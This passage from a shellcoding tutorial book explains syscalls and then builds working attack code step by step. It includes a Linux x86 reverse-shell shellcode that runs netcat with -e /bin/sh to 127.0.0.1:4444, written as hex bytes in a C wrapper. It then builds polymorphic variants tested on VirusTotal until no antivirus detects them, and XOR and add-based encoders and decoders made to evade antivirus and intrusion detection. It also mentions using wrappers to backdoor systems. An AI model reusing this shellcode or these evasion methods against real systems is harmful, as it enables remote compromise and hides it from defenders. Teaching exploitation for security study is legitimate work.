it works on x64 and ARM. Some other interesting stuff about this topic is
also included.

5.2 Prerequisites

Basic knowledge of C and x86 assembly for writing shellcodes. A basic knowl-
edge of using debuggers like GDB is welcome.

5.3 Why it comes after the exploitation?

It comes after the exploitation of a stack-based buffer overflow because the
stack-based buffer overflow attack is for the beginning easier than the shell-
coding itself.

88



5.4 What is important for shellcoding?

To write shellcodes, it is a great advantage when you have some devices
with different architectures like x86, amd64, and ARM. Your development
environment should have a compiler for C-Language like GNU/GCC and a
compiler for Assembly as well. For debugging the shellcode the GDB should
be enough. For Windows as a development environment, you can use x64dbg,
Immunity Debugger, or the WinDbg. An alternative for other architectures
like ARM or MIPS, you can try to emulate that with QEMU.

Also important for writing shellcodes is to read many man pages of your
target platform. Unix/Linux has good manpages which you can use to write
some shellcode. Additionally, when your target uses syscalls to trigger ac-
tions, syscall-tables also a good option to understand how each register must
be set to get a proper working shellcode. If your target platform doesn’t use
syscalls to trigger the actions, then it is recommended to read many papers
and blogs about that platform on this topic. Systems which doesnt have
syscalls are for example: MS/DOS

5.5 What are syscalls?

Syscalls (System-Call’s) are a methodic provided by the operating system
to run specific actions. The actions can be, for example, read a file, exe-
cute a system command, or print and write data. The implementation of
syscalls depends on the hardware and the software (operating system). On
Linux, especially, it is implemented as a software interrupt, which stops the
current execution to process the interrupt, then it resumes the previous exe-
cution. Earlier operating systems like Solaris had their syscalls implemented
as a jump to a specific kernel address, which provides the desired function
you want. Nowadays, nearly every modern operating system has its syscalls
implemented using interrupts.
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Figure 5.1: Anatomy of syscalls

The reason why syscalls provided by modern systems, was that in earlier
operating systems like MS/DOS the user code had the same privileges as the
system code, which means a user program could directly access the underly-
ing hardware and other system resources. This had the following problems:

� Stablity:
One problem was when a poorly written program runs and it makes an
error, it mostly ends up with rebooting the complete system.

� Security:
Security was also an issue because malware did already exists on those
days. This means every malware had the same privileges as the system
itself, which was bad.

� Only Single-tasking:
This was also an issue because it only worked very well rather than
single tasks but it was not designed for multitasking or multi users.

To solve these problems, a good solution was required. The solution was the
syscalls because the whole space was split into kernel-space or kernel-mode
and userspace or user-mode.

90



The kernel-mode is additionally known as the privileged mode, which can
do anything. The user-mode can not perform anything, because it is more
restricted to ensure the stability of the system itself. For example, when
a program crashes, the system still alive. Another reason was to provide
well-defined resource-sharing for many parallel running tasks. The syscalls
are request-receiver for the userspace privileged programs. When a program
opens a file, it makes a syscall that requests the kernel to open the desired file.
At this moment, the kernel opens the file for the program and gives only a
reference to the program back. In Figure 5.1 we see the anatomy of syscalls.
In this case, we have a Unix/Linux like syscalls pattern. In the user-space on
the top, we see 2 user-spaces, the 32bit user-space for all 32bit applications
and the 64bit user-space for 64bit applications. Both programs want to print
the string ”hello world” to the screen to realize that, on Unix/Linux the
syscall ”write” is required. Both applications make the syscall, by triggering
an interrupt. This interrupt depends on the architecture which means a 32bit
and 64bit syscall-table is implemented as an interface. When the interrupt is
triggered the OS processes the syscall immediately, and jumps to the specific
entries for the referenced syscall to execute it. So, what happens now? The
kernel prints out the string to the desired file descriptor, in this case, the
terminal. We see, syscalls are very essential for modern operating systems.
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5.6 A shellcode in detail

A shellcode is a piece of program which gets executed during a buffer overflow
attack. These are known under metasploit as payload, which can be gener-
ated with msfvenom. The name shellcode comes from software-development
and indicates in op-codes translated assembly commands. These op-codes
gets executed during those attacks. Those codes can execute various com-
mands but in most cases it executes a Shell. This is the reason why it is called
shellcode. Shellcodes are generally platform specific written, which means a
shellcode can written for Windows, Unix/Linux and much other platforms.
If we look to the disassembly, we can see that the assembly-instructions are
translated to op-codes.

Figure 5.2: Shellcode dump with objdump

The dump of the shellcode shows that all assembly-instructions are translated
to hexadecimal op-codes in the middle in Figure 5.2. If we look closer to the
op-codes, we can see it is possible to manually assemble some instructions.
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This can be useful, if there small errors in the shellcode, to fix these errors.
The magic to getting a string of shellcode is to collect all opcodes and chain
these together. To extract the shellcode as string, there many options. The
first option is to extract the shellcode manually with an editor like nano or
vim. The second option is to extract them automated with a command. The
first option looks like this. manually-extracting-shellcode

Figure 5.3: Manually extraction of the shellcode

The manually extraction of a shellcode is not very difficult but it can took
much time. For small shellcodes it is very common, but for shellcodes which
can have a length of 200bytes or more, it is better to extract that with
commands. The automated way looks like this:

# c r a f t e d command with objdump , grep , cut , t r and sed
˜$ echo ”\”$ ( objdump =d binary | \

grep ’[0=9a=f ] : ’ | \
cut =d$ ’\ t ’ =f 2 | \
grep =v ’ f i l e ’ | \
t r =d ” \n” | \
sed ’ s / . . /\\ x&/g ’ )\””
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We only to replace the string ”binary” with the compiled shellcode file and
the shellcode will be extracted automatically.

Figure 5.4: Extracted shellcode with chained commands

In Figure 5.4, we see, the command chain gives us the extracted shellcode
in string format. The extracted shellcode can now be embedded into the
Shellcode-Wrapper and executed. A Shellcode- Wrapper is a C-Code which
executes the shellcode, the shellcode is in this case a string. Here is an
example of a Shellcode-Wrapper.

#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>
unsigned char s h e l l c o d e [ ] = ” She l l c ode goes here ” ;

i n t main ( void )
{

// c r e a t e a func t i on po in t e r
void (* fp ) ( void ) ;

// load the address from s h e l l c o d e in to t h i s po in t e r
fp = ( void *) s h e l l c o d e ;

//make a func t i on c a l l which execute s the s h e l l c o d e above
fp ( ) ;
r e turn 0 ;

}

In the past, I used this Wrapper but, I have only explained a bit why it is
useful for shellcoding. One big fact is, shellcodes can be tested in a running C-
Application, and this is more important than running the compiled shellcode
itself.
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The reason to do that is, to make sure that the shellcode works during a
buffer overflow attack.

But why is this more important than the shellcode itself? Many shellcodes
are right and complete to work, but in a buffer is the possibility that the
shellcode does not work properly. These can be jump addresses that are
correct in the compiled shellcode itself but not in a C/C++ application or
in a buffer overflow. It can also be pointers that don’t work properly in the
compiled shellcode but in a C/C++ application. To avoid these errors, it is
very important to test the shellcode in a C-Application. To test a shellcode,
a simple C-Code is required, which has the shellcode embedded and can run
the shellcode. But how can a shellcode be executed? There two options.
The first option is to overwrite the return address of the main function with
the address of the shellcode. The second option is much simpler, just create
a function pointer which stores the address of the shellcode and make just a
call. That’s the point where a Shellcode-Wrapper is used.

The option with creating a function pointer that executes our shellcode,
I showed already in the privious code and in the chapter ”Buffer overflow”.
The other way, where the return address of the function ”main” gets over-
written by the address of the shellcode looks like this code below.

#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>
char s h e l l c o d e [ ] = ” She l l c ode goes here ” ;

i n t main ( i n t argc , char ** argv ) {
// c r e a t e a po in t e r f o r the s h e l l c o d e
i n t * r e t ;

// l e t the po in t e r po int to the saved EBP
r e t = ( i n t *)& r e t + 2 ;

// ove rwr i t e the address with the address from the s h e l l c o d e .
//on a re turn i t jumps in to the s h e l l c o d e .
(* r e t ) = ( i n t ) s h e l l c o d e ;

}

With this both Shellcode-Wrapper’s, we able to test all shellcodes to ensure
that they work properly.
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5.7 Basic shellcode

In the past, we have written a simple shellcode that spawns us a shell that
connects back to the attacker’s machine.

s e c t i o n . t ex t
g l o b a l s t a r t
s t a r t :

xor eax , eax ; c l e a r r e g i s t e r eax and use i t as s t r i n g terminator
push eax ; terminate s t r i n g
push 0 x636e2f6e ; push / bin /nc onto the s tack
push 0 x69622 f2 f
; save cur rent s tack l o c a t i o n in to EBX => pathname* = ”/ bin /nc”
mov ebx , esp
push eax ; terminate s t r i n g
push word 0x312e ; push 1 2 7 . 0 . 0 . 1 onto the s tack
push 0 x302e3030
push 0 x2e373231
mov e s i , esp ; save cur rent s tack l o c a t i o n in to ESI
push eax ; terminate s t r i n g
push 0x34343434 ; push port 4444 onto the s tack
mov edi , esp ; save cur rent s tack l o c a t i o n in to EDI
push eax ; terminate s t r i n g
push word 0x652d ; push command parameter =e onto the s tack
mov ecx , esp ; save cur rent s tack l o c a t i o n in to ECX
push eax ; terminate s t r i n g
push 0 x68732f6e ; push / bin / sh onto the s tack
push 0 x69622 f2 f
mov ebp , esp ; save cur rent s tack l o c a t i o n in to EBP
xor edx , edx ; c l e a r r e g i s t e r EDX => s e t envp* = NULL
push eax ; terminate s t r i n g
; push a l l l o c a t i o n in r eve r s ed order onto the s tack
push ebp
push ecx
push ed i
push e s i
push ebx
mov ecx , esp ; save i t as argument l i s t => argv [ ] = ECX
xor eax , eax ; ext ra c l ea r , to avoid wrong s y s c a l l numbers
mov al , 11 ; s e t s y s c a l l number 11 = execve
i n t 0x80 ; t r i g g e r i n t e r r u p t f o r s y s c a l l
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The code is simply built. Here we see as the first line ”section .text”, this
is our current section where our code lies. This section is generally used for
code instructions. The second line ”global start” is the definition of our en-
try point. Here we can place every label as an entry point but, the standard
is to use the label ” start”. Here we have to know that this line NASM-
specific is because when NASM compiles our assembly-code, it marks with
this line the entry point of our binary object. Principally this code can run
without entry points and would be executed sequentially from top to down.
At the line where our jump label ” start” is defined, we have our assembly
instruction sequence which first passes the string ”/bin/nc” to the register
EBX to set our file which will be executed by the function ”execve”. Then
we are passing all the arguments to the register ECX to set the argument list
of the function ”execve”. As next, we set the register EDX to zero, for using
”execve” without any environment variables. At least, we trigger a syscall
interrupt with the syscall number 11 which is our ”execve”-function.

When we extract the shellcode from the binary object and embed it into
our Shellcode-Wrapper it should look like the following:

#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>
unsigned char s h e l l c o d e [ ] = ”\x31”

”\xc0\x50\x68\x6e\ x2f \x6e\x63\x68\ x2f \ x2f ”
”\x62\x69\x89\xe3\x50\x66\x68\x2e\x31\x68”
”\x30\x30\x2e\x30\x68\x31\x32\x37\x2e\x89”
”\xe6\x50\x68\x34\x34\x34\x34\x89\xe7\x50”
”\x66\x68\x2d\x65\x89\xe1\x50\x68\x6e\ x2f ”
”\x73\x68\x68\ x2f \ x2f \x62\x69\x89\xe5\x31”
”\xd2\x50\x55\x51\x57\x56\x53\x89\xe1\x31”
”\xc0\xb0\x0b\xcd\x80 ” ;

i n t main ( void )
{

void (* fp ) ( void ) ;
fp = ( void *) s h e l l c o d e ;
fp ( ) ;
r e turn 0 ;

}
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Figure 5.5: Running a shellcode in a Shellcode-Wrapper

In Figure 5.5 can be seen on the right side, the setup of the NetCat-Listener
on port 4444. On the left side in this figure, the compiled wrapper. The
wrapper gets executed and creates a reverse TCP shell, which connects to
the NetCat-Listener so we can execute some system commands. At this
point, we can use the shellcode because we know it will work in a C/C++
Application, too.

Well, sometimes you can’t write an exploit where you can embed a shell-
code but you can take advantage of using a Shellcode-Wrapper. What did I
mean by that? Shellcode-Wrapper can also be used for backdooring a sys-
tem. See Meterpreters ”MetSvc”. It is basically just a shellcode packed in a
wrapper.
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5.8 Polymorphic shellcode

In the previous chapter, a basic shellcode was written to spawn a reverse
shell. But, that can be a point of failure! What happens if the shellcode
passed through a signature-based AV (Antivirus), IDS(Intrusion Detection
System), or IPS(Intrusion Prevention System)? It will be detected, which will
be blocked in the worst case for preventing the execution of it! To prevent
the detection of a shellcode, the shellcode has to bypass those detections.
Here in this place comes the polymorphic shellcode in use. The fact about
polymorphic shellcodes is, they have a lot of possible forms without losing
their functionality. This makes the life of those detections hard. As an
example, a new shellcode will be used which gots detected by those systems.
Here is a basic shellcode that spawns only a local shell.

Figure 5.6: A basic /bin/sh shellcode

In Figure 5.6 above, there is a basic shellcode written, which spawns a simple
”/bin/sh”-Shell. The extracted shellcode has a length of 23 bytes. This is
important to know when we make a polymorphic shellcode of it because it
doesn’t make sense if the shellcode has a doubled length of itself. The first
idea is to ensure that the code will not be greater than 150% of its original
length.
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To make this code above, polymorphic, we substitute some instructions with
other instructions to ensure the same functionality of the original code.

s e c t i o n . t ex t
g l o b a l s t a r t

s t a r t :
mov eax , 0xFFFFFFFF
inc eax
push eax

push 0 x68732f6e
pop ebx
push 0 x69622 f2 f
pop ecx

push ebx
push ecx

mov ebx , esp

push eax
push ebx

mov ecx , esp
push byte 0xb
pop byte eax
i n t 0x80

In this code are many instructions replaced by others, which expands the
code. In detail what the first three lines do is to set the register EAX to
0xFFFFFFFF which is the maximum value of ab 32Bit register. To set this
register to zero, an integer overflow is triggered by the instruction ”inc eax”.
This adds 1 to the value and the visible value of the register EAX is 0.

XOR EAX, EAX⇔ MOV EAX, 0xFFFFFFFF; INC EAX
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In GDB, we see the evaluation results in clearing the register EAX.

Figure 5.7: Same functionallity given to set register EAX to 0

Also, the next 4 lines have the same functionality as in the original code
before. Here the string ”//bin/sh” is split into two pieces, which gets pushed
onto the stack and popped pack to the registers EBX and ECX. The next 3
lines after the push-pop-operations merge the pieces and pop that into the
register EBX.

PUSH 0x68732F6E

PUSH 0x69622F2F

MOV EBX, ESP

m
PUSH 0x68732F6E

POP EBX

PUSH 0x69622F2F

POP ECX

PUSH EBX

PUSH ECX

MOV EBX, ESP
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First, the register value of EBX gets pushed on the stack and the value of
ECX at last. On the stack, the string is now complete and the current Stack-
pointer will be saved in the register EBX, which is the first parameter of the
function ”execve”. The next three lines build the full argument list which
also contains the value from register EBX. This is very similar to the original
code.

The last lines are very interesting. Here the value 0xb is pushed to the stack
and popped into the register EAX which is equal to the instruction ”mov al,
0xb” from the original code. At last, the interrupt will be triggered.

MOV AL, 0xB⇔ PUSH BYTE 0xB; POP BYTE EAX

These substitutions we currently have seen ensures the same functionality as
the original shellcode.

Figure 5.8: Polymorphic shellcode spawns a shell

In Figure 5.8 we see, we got a shell. Now the important question is, how long
is this code? The original length was 23 bytes, the length of the polymorphic
version is now 32 bytes, in percentage, the code grows up about 39%.

α = 32, β = 23

γ =
α

β
= 1.3913...→ 1.39→ +39%

That’s good, but how is the detection rate?
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In the Figure 5.9 below, we see the detection rate of the original code up-
loaded on virustotal.com.

Figure 5.9: The original code gots detected by 4/58 AVs

The original shellcode got detected by 4 of 58 AVs (Antivirus), that’s not
bad because many of them cant detect this code. Unfortunately, 4 of them
are also too much, it must be a detection rate of 0. Now it’s time to check
the detection rate of the polymorphic shellcode.
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Figure 5.10: The detection rate of the polymorphic code is 0

In Figure 5.10, the detection rate of the polymorphic shellcode is 0, because
the changes on the code let bypass the signature which is the goal of those
codes. None of the AV’s has detected the code, but if we ran a sandbox analy-
sis or analyze the behavior the code could be detected by some of these AV’s.

Polymorphic shellcodes a useful to bypass signature-based detections. There
several possibilities to substitute every piece of the shellcode to archive the
same functionality. But, polymorphism on shellcodes, not the universal so-
lution to bypass detections. This is only a method to bypass signature-based
systems. On some other detection methods are sandbox and some other
tests, the shellcode will be detected.
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5.9 Shellcode encoder/decoder

In the subchapter before, we wrote a polymorphic shellcode that allows us
to bypass signature-based AV’s, IDS, and IPS-Systems. Another technique
that I want to describe and explain, is the common technique of encod-
ing shellcodes. This technique is used to bypass also some detections like
signature-based. But, this technique came from the time where many sys-
tems get protected from basic exploitation. Many systems have now AVs,
IDS, and more installed. Shellcode encoding is nothing else as translates a
shellcode in the other format and later on runtime back to the shellcode.
This method follows basically the method of obfuscation.

This technique is also used by Metasploit under the category encoders, for ex-
ample, the encoder ”shikata ga nai” which encodes the shellcode with XOR
and Addition of the result.

To encode a shellcode, we have several methods which can be used for that.

Some methods are:

� XOR Encoding with a byte, for example: 0x32

� Add 1 to each shellcode byte

� Subtract 1 from each shellcode byte

� ROT 13, e.g add or subtract 13 from each byte

� Encode with the NOT-Operator.

� XOR with random bytes over the full length of the shellcode.

� Add random bytes between shellcode bytes.

There more encoding methods, but these above are very common. All of
these encodings follow the same principle. The advantage of this technique
is we can encode a shellcode and encode the encoded shellcode again. You
can see that you can encode the shellcode multiple times.
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The principle behind this technique is, you have an encoder to encode the
shellcode. You also have the decoder, which is written in assembly and has
the encoded shellcode embedded. The decoder decodes the embedded shell-
code at the runtime and jumps into it or calls the shellcode to execute it.

The code below shows how a shellcode can be embedded and executed.

; s imple wrapper to execute an embedded s h e l l c o d e
s e c t i o n . t ex t
g l o b a l s t a r t

s t a r t :
jmp shor t code

data :
code db 0xb8 , 0 x f f , 0 x f f , 0 x f f , 0 x f f , 0x40 , 0x50 , 0x68 ,

0x6e , 0 x2f , 0x73 , 0x68 , 0x5b , 0x68 , 0 x2f , 0 x2f ,
0x62 , 0x69 , 0x59 , 0x53 , 0x51 , 0x89 , 0xe3 , 0x50 ,
0x53 , 0x89 , 0xe1 , 0x6a , 0x0b , 0x58 , 0xcd , 0x80

We see, the code which has at the label ” data” an array named ”code”
defined. The array contains the polymorphic shellcode from the previous
chapter. When the code gets executed it basically jumps from with ”jmp
short code” into the array where the code lies. Right after the jump, the
contained code will be executed immediately The compiled code spawns a
shell again.

Figure 5.11: The embedded shellcode spawns a shell
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We see the embedded shellcode works, and we got a shell. Now it’s time
to encode the shellcode itself. For the first, the shellcode will be encoded
with an addition by 0x01. To encode the shellcode, an encoder is required.
This encoder can be written in Python, Perl, Ruby, or other programming
languages. In the code below, the extracted shellcode from Figure 5.11 is
embedded as a list into the encoder.

Figure 5.12: The shellcode is embedded as a list

The next, what is to do, is to write the method, which encodes the shellcode
byte for byte. The algorithm behind the encoding can be defined as follows:

∀b ∈ shellcode : c = (b+ 1)

The definiton says, that each byte value b will increased by 1 and the result
is c which is the encoded byte. This can be implemented as follows:

Figure 5.13: Encoder method is implemented
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The method which encodes the shellcode is shown in Figure 5.13, this code
iterates over the shellcode and adds 0x01 to each byte. The encoded shellcode
will be stored in a separate list named ” encoded”. The second list ” key”
is not used, but implemented for future purposes. At this point, the en-
coder is done, but we have to implement a decoder method and a method to
check that the decoded shellcode is equal to the embedded shellcode. These
methods are for testing purposes. The algorithm behind the decoder can be
defined as follows:

∀c ∈ encoded shellcode : b = (c− 1)

The definiton says, that each encoded byte value c will decreased by 1 and
the result is b which is the decoded byte. This can be implemented as follows:

Figure 5.14: Implemented decoder and test methods to check the shellcode
for functionality

Both methods shown in Figure 5.14, are for decoding and testing the decoded
shellcode for equality with the original shellcode. The method ”sh decode”
iterates over the encoded shellcode and subtracts 1 from each byte. The
decoded shellcode will be stored into a separated list named ” decoded”.
The second method ”sh test” iterates over the decoded shellcode and the
original shellcode and checks if both current bytes are equal. If all bytes are
equal, then the decoded shellcode will work properly.
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Figure 5.15: Printings will show the results of the encoding

The next lines prints out the encoded shellcode with the original shellcode
and the decoded shellcode and also the result that the original shellcode and
the decoded once are the same, are only for showing the results. The encoder
is ready and can be executed. The output of the encoder should look like
this in the box below.

( ’ P la in s h e l l c o d e : ’ , ’0 xb8 , 0 x f f , 0 x f f , 0 x f f , . . . , 0x80 ’ )
( ’ Encoded s h e l l c o d e : ’ , ’0 xb9 , 0x100 , 0x100 , . . . . , 0x81 ’ )
( ’ Decoded s h e l l c o d e : ’ , ’0 xb8 , 0 x f f , 0 x f f , 0 x f f , . . . , 0x80 ’ )
( ’ Decoded s h e l l c o d e == Pla in s h e l l c o d e : ’ , True )

The printed encoded shellcode can be copied and embedded into the decoder,
which we write in the next step.
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Our encoder works and shows the original shellcode, the encoded and decoded
version, and then checks that the decoded version works properly, too. The
next step is to write the decoder. This should be written in assembly because
the shellcode got decoded during runtime. As the base for the decoder, the
example of embedding shellcodes can be used.

; decoder base
s e c t i o n . t ex t
g l o b a l s t a r t

s t a r t :
jmp shor t code

data :
code db ; s h e l l c o d e in array format

This code can be used for writing the decoder. The only thing that is need
for that is a loop that iterates over the embedded shellcode and a subtract
which subtracts 1 from each byte. Here you can use the JMP- CALL-POP
method which starts with a jump into the label ” data” and calls the label
”decoder2 and pops the stored address of the embedded shellcode into a
register. This is also a very common shellcoding method because you have
no absolute addresses. Below there is a basic example of a JMP-CALL-POP
method.

s e c t i o n . t ex t
g l o b a l s t a r t

s t a r t :
jmp shor t jumpee ; jump to jumpee

c a l l e e :
pop eax ; pop the address o f de f ined msg in to EAX

; Here ar r ived , c a l l c a l l e e . The address
; o f the msg i s s to r ed on the stack
jumpee :

c a l l c a l l e e
msg db ”some data ”
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With this method we can store data into our code and can easy access them.

Figure 5.16: Printings will show the results of the encoding

The complete logic behind the decoder is shown in Figure 5.16. We see,
we take the start of our shellcode and iterate over it. In each iteration, the
current picked up byte will be decreased by 1. When we reached the end of
the shellcode, we jump immediately into the decoded shellcode and execute
them.
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Figure 5.17: Decoder logic is written but no encoded shellcode embedded

The next thing that is needed, is the encoded shellcode. To encode the shell-
code we can use the encoder which we have written first in python. As the
output from executing the encoder we get many shellcodes one of them is
the encoded shellcode, this is only copy & paste.
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Figure 5.18: Encoded shellcode is embedded

Now the encoded shellcode is embedded and the decoder can now be com-
piled with NASM. But first, some instructions must be explained. The line
”shellcodelen: equ $-code” determines the length of the shellcode which will
be stored in the lowest part of the register EAX. The register EAX is used
as a counter during the decoding. If the register value is 0 then the end of
the shellcode is reached and we jump into the shellcode to execute it. Some
other instructions like ”mov ebx, [ecx]” are used for getting the byte on the
current position at the embedded shellcode. The same thing only in the re-
verse order is used to write the decoded byte into the embedded shellcode on
the current position.

Note! The compilation of this code is a bit different than the other times
before. To compile the shellcode just run

˜$ nasm =f e f l 3 2 decoder . asm

Then extract the shellcode from the .o file and place this into the Shellcode-
Wrapper. The NASM compiler throws some warnings because we have bytes
which are 0x100 and this in a byte equal to 0x00, but the shellcode is not
broken it is still runnable.

Figure 5.19: Extracted shellcode with nullbytes
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The compilation is the same as before. The compilation of decoders is a bit
tricky, which we have seen. First we have to compile it with NASM and
then we extract the shellcode. After extracting we only have to insert it into
the Shellcode-Wrapper and compile it, that’s it. If we execute this code, we
should get a shell.

Figure 5.20: Encoded shellcode is embedded

We see the encoded shellcode with the decoder works. Our shellcode got
decoded during runtime and executed. As the result, we have a shell. The
only thing that’s wrong with the encoded shellcode is the null bytes it’s not
null-free. The reason why this code works is we don’t use any functions like
”strcpy”. If we this shellcode into such a function, we don’t get a shell be-
cause of string termination. Please note, try to make the encoding null free.

What had to do to avoid these null-bytes? First, we can skip all results
that is a null byte, and take only the results without null bytes. Second
another decoding, because increasing each byte by 1 is not a good encoding.
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Another encoder that I want to show is an XOR encoder, which encodes the
shellcode by XORing each byte with 0x32. The encoder from the previous
encoding can be used and modified with an XOR-Instruction. This changed
the algorithm to this:

For encoding:

∀c ∈ shellcode : c = (b⊕ 0x32)

For decoding:

∀c ∈ encoded shellcode : b = (c⊕ 0x32)

The implementation results in:

de f sh encode ( s h e l l c o d e ) :
encoded = [ ]
key = [ ]

f o r b in s h e l l c o d e :
encoded . append (b ˆ 0x32 )

re turn encoded

de f sh decode ( encoded ) :
decoded = [ ]
key = [ ]

f o r b in encoded :
decoded . append (b ˆ 0x32 )

re turn decoded

XOR is an operation that returns 1 if both inputs are not the same. If both
are the same it returns 0.
A short overview showing how XOR is defined

Q = (¬A ∧B) ∨ (A ∧ ¬B)

A B Q

0 0 0
0 1 1
1 0 1
1 1 0
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To show how XOR works there is a simple example below.

Let p = 9dec ⇔ 1001bin, k = 10dec ⇔ 1010bin

So is c the result of:

c =
⊕1001

1010
0011

= 0011

For the encoding with XOR, it is important to avoid null bytes and bytes
which can cause null bytes as a result too. For this shellcode is the byte
0x32 a very good choice for the key. The fact why the byte is called key
is that XOR is potential encryption. Many encryptions like AES are using
XOR, but XOR itself is also encryption because each byte can be calculated
as follows:

plain⊕ key = cipher → cipher ⊕ key = plain

The interesting fact is that XOR as encryption with a fully random gen-
erated key which has the same length as the content, it is not possible to
decrypt them. But in most cases, XOR as encryption is implemented with a
repeating key which makes that trivial to break the cipher with simple fre-
quency analysis. For this case it isn’t the goal to achieve a fully unbreakable
ciphertext, the goal is to encode the shellcode.
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After modifying the encoder, we can run this to encode the shellcode. The
encoded shellcode can be embedded into the decoder. Also in the decoder,
we have to change one instruction:

decode :
; . . .
xor ebx , 0x32 ; ”dec ebx” i s r ep l aced
; . . .

The final decoder with the encoded shellcode looks now like this:

s e c t i o n . t ex t

g l o b a l s t a r t :

s t a r t :
jmp shor t data

decoder :
pop ecx
xor eax , eax
mov al , s h e l l c o d e l e n
xor edx , edx

decode :
cmp eax , edx
j e exec
mov ebx , [ ecx ]
xor ebx , 0x32
mov [ ecx ] , ebx
dec eax
inc ecx
jmp shor t decode

exec :
jmp shor t code

data :
c a l l decoder
code db 0x89 , . . . , 0xb2
s h e l l c o d e l e n : equ $=code
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This decoder can now be compiled with NASM and the OP-Codes can be
extracted and embedded into the Shellcode-Wrapper.

Figure 5.21: Embedded shellcode in the Shellcode-Wrapper

If we execute this code we should get a shell like below.

Figure 5.22: The XOR 0x32 encoded shellcode spawns a shell

The execution shows, our encoded shellcode works.
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The next variant of XOR encoding which I want to show is the XOR En-
coding with a random key that has the length of the shellcode itself. The
encoder must be modified to generate a random key byte, for each byte of
the shellcode. Each randomly generated byte has to be checked if the result
is a null byte if so, another random byte should be chosen.

∀b ∈ shellcode ∃k ∈ [1, 255] : c = b⊕ k ∧ c 6= 0 ∧ israndom(k)

∀b ∈ encoded shellcode : b = c⊕ k

Also, the random chosen key byte for the current shellcode byte should be
stored in a list, that’s the reason why the empty and unused list ” key” was
implemented in the encoder at the beginning.

Figure 5.23: Modified encoder for encoding and key generation

This code from Figure 5.23 have all requirements, it chooses for every byte
of the shellcode a random byte between 0x01 and 0xff and checks if the result
is not 0x00. In the last line of the code, the method returns a tuple with
the encoded shellcode and the key. The next what should be modified is the
method that decodes the shellcode. At this point, we have only to change
the for loop to iterate over the shellcode with an index. This index allows
us because the key and shellcode have the same length to XORing each byte
from shellcode.
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Figure 5.24: Modified decoder for decoding

Also here all requirements are fulfilled and this code should decode the shell-
code properly. As the next step to finish, the code is to change the print
outs, because also the key should be printed for the decoder assembly.

Figure 5.25: Printings changed for the new encoding

In Figure 5.25, we see, the code is a bit changed.
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Now we get the key and the encoded shellcode. Both of them will be printed
out and will be used for the other prints. Now it is time to test this encoder
and grab the encoded shellcode and the key which will be embedded in the
decoder. If we run this encoder the output should look like this:

( ’ P la in s h e l l c o d e : ’ , ’0xbb , 0 x f f , 0 x f f , 0 x f f , . . . , 0x80 ’ )
( ’ Encoded s h e l l c o d e : ’ , ’0 xda , 0xe1 , 0xd4 , . . . , 0xcb ’ )
( ’ Key : ’ , ’0 x61 , 0x1e , 0x2b , . . . , 0x4b ’ )
( ’ Decoded s h e l l c o d e : ’ , ’0xbb , 0 x f f , 0 x f f , 0 x f f , . . . , 0x80 ’ )
( ’ Decoded s h e l l c o d e == Pla in s h e l l c o d e : ’ , True )
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Now we can take the key and the shellcode and embed this into the de-
coder. The decoder should also be changed because it has to iterate over
the shellcode and the key bytes. For this, it is an option to use further the
JMP-CALL-POP method.

Figure 5.26: The program flow of the decoder
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The program flow shows how the decoder works. First, it jumps to the
location her our key is stored. Then it calls a stub-method or simply a
dummy-method to pop the address of the key into a register. After this,
it runs a further JMP-CALL-POP to get the encoded shellcode. Also here,
the decoder iterates over the encoded shellcode and takes one byte of the
shellcode and the key. The result of the xor calculation will be written to the
current byte position in the shellcode. If the end of the shellcode is reached,
then it will jump into it for execution. This is very similar to the previous
decoder. The only difference is an additional JMP-CALL-POP to get the
key first. The program flow from the decoder must be implemented into the
assembly. This can be realized like the flowchart above. First, we add a new
label named ” key” at the end of the decoder.

; to s t o r e the key bytes
key :

c a l l s tub
key db 0x61 , 0x1e , 0x2b , . . . , 0x4b

The next what can be made after the label ” start” is to add also a new
label named ” stub” which pops the address of the key into the register ESI.
After popping the address into the ESI, it jumps into the label ” data” for
retrieving the address of the shellcode. In the label ” start” we can change
now the target label to ” key”.

; to save the addess where the key i s s to r ed
stub :

pop e s i
jmp s h o r t data
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Now we come to the core of the decoder here we have to change and add
some operations. The line which makes an XOR the bytes should be fitted
by changing the operands. The first operand is now BL to avoid garbage in
this register and the second is the pointer on the current position of the key
bytes. At last, we only to have added an ”inc esi” instruction for moving the
pointer ESI by one forwards.

; decode the s h e l l c o d e with the key
decode :

cmp eax , edx
j e exec
mov ebx , [ ecx ]
xor bl , [ e s i ]
mov [ ecx ] , ebx
dec eax
inc ecx
inc e s i
jmp shor t decode

With these changes, we have a decoder, which can use any key and any
encoded shellcode. We see it is quite simple, to build a decoder for encoded
shellcodes. Well, it is not like the encoder ”shikata ga nai” by Metasploit,
but this example is quite enough and can be used for many purposes.
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The final decoder implementation should look like below.

s e c t i o n . t ex t
g l o b a l s t a r t :
s t a r t :

jmp shor t key

stub :
pop e s i
jmp shor t data

decoder :
pop ecx
xor eax , eax
mov al , s h e l l c o d e l e n
xor edx , edx

decode :
cmp eax , edx
j e exec
mov ebx , [ ecx ]
xor bl , [ e s i ]
mov [ ecx ] , ebx
dec eax
inc ecx
inc e s i
jmp shor t decode

exec :
jmp shor t code

data :
c a l l decoder
code db 0xa6 , . . . , 0xd7
s h e l l c o d e l e n : equ $=code

key :
c a l l s tub
key db 0x1d , . . . , 0x57
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After modifying the code, we can now compile this with NASM and ex-
tract the shellcode itself. The shellcode can now embed into the Shellcode-
Wrapper. By compiling and executing this shellcode we should get a shell,
like in the figure below.

Figure 5.27: Working shellcode give us a shell

In Figure 5.27, we see, this shellcode also works, and we get another shell to
execute some commands.

Well, we wrote some decoders to bypass some detections, but we have done
it only on 32Bit. What would happen, if this shellcode gets executed on a
64Bit application? Right it may be crash because of the instruction set. On
64Bit machines the instruction set is a bit different as the 32Bit one. What
the differences are we will see in the next subchapter.
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5.10 x64/amd64 Shellcode

In this subchapter, we see how 64bit based shellcodes works and where are
the differences are. An x64/64bit shellcode is very similar to an x86/32bit
shellcode. One of the differences is, we have more registers and the general-
purpose registers are now 64bit long.

Figure 5.28: Overview of the x64-registers

This is not the only difference between x64 and 86 shellcodes. Another dif-
ference lies in the syscall table. Under x64, we have especially under Linux,
a different structure than on 32bit, else under Windows. Under x64, the first
register which stores the syscall number is RAX. This register is equal to
the 32Bit-Version of the register EAX. For storing the first parameter, the
register RDI is used, which is equal to the 32bit Register EBX. The register
RSI is for storing the full argument list, which represents the 32bit regis-
ter ECX. The register for storing the environment parameters is the register
RDX, which is similar to the 32bit version EDX.

